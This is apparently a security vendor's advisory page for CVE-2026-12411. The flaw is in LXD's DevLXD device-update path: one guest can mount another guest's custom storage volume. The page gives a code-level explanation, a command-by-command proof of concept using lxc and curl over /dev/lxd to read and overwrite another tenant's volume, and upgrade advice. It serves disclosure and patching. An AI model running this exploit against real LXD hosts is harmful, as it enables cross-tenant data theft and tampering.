CVE-2026-12411

CVE-2026-12411 is a high-severity missing authorization vulnerability in github.com/canonical/lxd (go), affecting versions >= 0.0.0-20250721152936-fe86ceb2c3fa, < 0.0.0-20260626085133-7cb96ac80a6d. It is fixed in 0.0.0-20260626085133-7cb96ac80a6d.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

lxd allows Cross-guest volume hijack via DevLXD device patch

A guest can mount another guest's custom storage volume over /dev/lxd and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with security.devlxd.management.volumes enabled can attach a volume belonging to a different guest by naming it in a device PATCH, giving one tenant full read and write access to another tenant's volume data.

Details

Volumes created over DevLXD get volatile.devlxd.owner set to the calling identity. The storage handlers enforce it on GET/PUT/DELETE (isDevLXDVolumeOwner, lxd/devlxd_storage.go:359) and on volume-copy sources (devlxd_storage.go:286). The device-attach path does not.

devLXDInstancePatchHandler (lxd/devlxd_instances.go:88) passes the guest's device map to generateDevLXDInstanceDevices (devlxd_instances.go:178). For a device that isn't already on the instance, the only check is isDeviceAccessible(device):

if (exists && !isOwned) || (!isDeviceAccessible(device)) 

exists is false for a newly added device, so isDeviceAccessible is the whole gate. It resolves to newDevLXDDeviceAccessValidator (devlxd_instances.go:250), which is diskDeviceAllowed && filters.IsCustomVolumeDisk(device). IsCustomVolumeDisk (lxd/device/filters/disk.go:28) checks the device shape only: type=disk, non-empty source, non-empty pool. It never loads the (pool, source) volume or compares its owner to the caller.

The handler then sets volatile.<dev>.devlxd.owner to the caller and issues an in-process PATCH to instancePatch (lxd/instance_patch.go:55). That call skips the HTTP access handler and runs only project quota checks (limits.AllowInstanceUpdate, instance_patch.go:215) before c.Update. The disk device's validateConfig confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's volatile.devlxd.owner still names the victim.

PoC

Built from source at HEAD d29ece6284 (reports as 6.8, API extension devlxd_volume_management); single host, dir pool, default project.

Host setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:

lxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl

for g in a b; do
  lxc auth identity create devlxd/id$g
  lxc auth group create g$g
  lxc auth group permission add g$g project default can_view
  lxc auth group permission add g$g project default can_view_storage_volumes
  lxc auth group permission add g$g project default can_create_storage_volumes
  lxc auth group permission add g$g instance guest$g can_view project=default
  lxc auth group permission add g$g instance guest$g can_edit project=default
  lxc auth identity group add devlxd/id$g g$g
done
TOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)
TOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)

With devlxd defined as lxc exec <c> -- curl --unix-socket /dev/lxd/sock -H "Authorization: Bearer <tok>" ...:

devlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{"name":"vola","type":"custom","config":{}}'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":{"type":"disk","pool":"default","source":"vola","path":"/mnt/mine"}}}'
lxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A > /mnt/mine/secret.txt'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":null}}'

devlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola     # HTTP 404

devlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{"devices":{"stolen":{"type":"disk","pool":"default","source":"vola","path":"/mnt/stolen"}}}'   # HTTP 200

lxc exec guestb -- cat /mnt/stolen/secret.txt                       
lxc exec guestb -- sh -c 'echo PWNED-BY-B > /mnt/stolen/b_was_here.txt'

lxc storage volume get default vola volatile.devlxd.owner returns guesta's identity; lxc config device get guestb stolen source returns vola.

Impact

Broken access control across tenants. It affects operators running untrusted guests in a shared LXD project with security.devlxd.management.volumes enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns 200 and a missing one returns a not-found error.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-12411 has a CVSS score of 8.4 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260626085133-7cb96ac80a6d); upgrading removes the vulnerable code path.

Affected versions

github.com/canonical/lxd (>= 0.0.0-20250721152936-fe86ceb2c3fa, < 0.0.0-20260626085133-7cb96ac80a6d)

Security releases

github.com/canonical/lxd → 0.0.0-20260626085133-7cb96ac80a6d (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/canonical/lxd to 0.0.0-20260626085133-7cb96ac80a6d or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-12411? CVE-2026-12411 is a high-severity missing authorization vulnerability in github.com/canonical/lxd (go), affecting versions >= 0.0.0-20250721152936-fe86ceb2c3fa, < 0.0.0-20260626085133-7cb96ac80a6d. It is fixed in 0.0.0-20260626085133-7cb96ac80a6d. The application does not perform an authorization check before performing a sensitive operation.
  2. How severe is CVE-2026-12411? CVE-2026-12411 has a CVSS score of 8.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/canonical/lxd are affected by CVE-2026-12411? github.com/canonical/lxd (go) versions >= 0.0.0-20250721152936-fe86ceb2c3fa, < 0.0.0-20260626085133-7cb96ac80a6d is affected.
  4. Is there a fix for CVE-2026-12411? Yes. CVE-2026-12411 is fixed in 0.0.0-20260626085133-7cb96ac80a6d. Upgrade to this version or later.
  5. Is CVE-2026-12411 exploitable, and should I be worried? Whether CVE-2026-12411 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-12411 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-12411? Upgrade github.com/canonical/lxd to 0.0.0-20260626085133-7cb96ac80a6d or later.

Other vulnerabilities in github.com/canonical/lxd

Stop the waste.
Protect your environment with Kodem.